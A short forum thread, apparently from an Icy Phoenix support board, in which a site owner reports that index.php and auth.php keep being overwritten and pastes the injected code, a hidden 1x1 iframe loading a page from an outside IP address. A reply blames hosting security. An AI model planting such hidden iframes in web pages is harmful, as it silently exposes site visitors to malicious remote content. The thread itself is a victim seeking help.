Icy Phoenix

i have installed the ultimate package yestarday . after 2 hours when i try to open my site index.php was corrupted auth.php too i have upload again auth + index everything ok . when i come in the morning the same situation . i found this in index. php

include($phpbb_root_path . 'includes/page_tail.' . $phpEx);

?><iframe src='http://81.95.149.28/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>



and when i open auth.php in includes its only 300 bytes and only this writen in
<iframe src='http://81.95.149.28/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>


is this a virus ? any idea to resolve this problem

Maybe your hosting have security issues.

my hosting ixwebhosting.com what can i do now to reinstall again ?

thanks

Report to your hosting that issue, maybe they will help you on finding where it's the security hole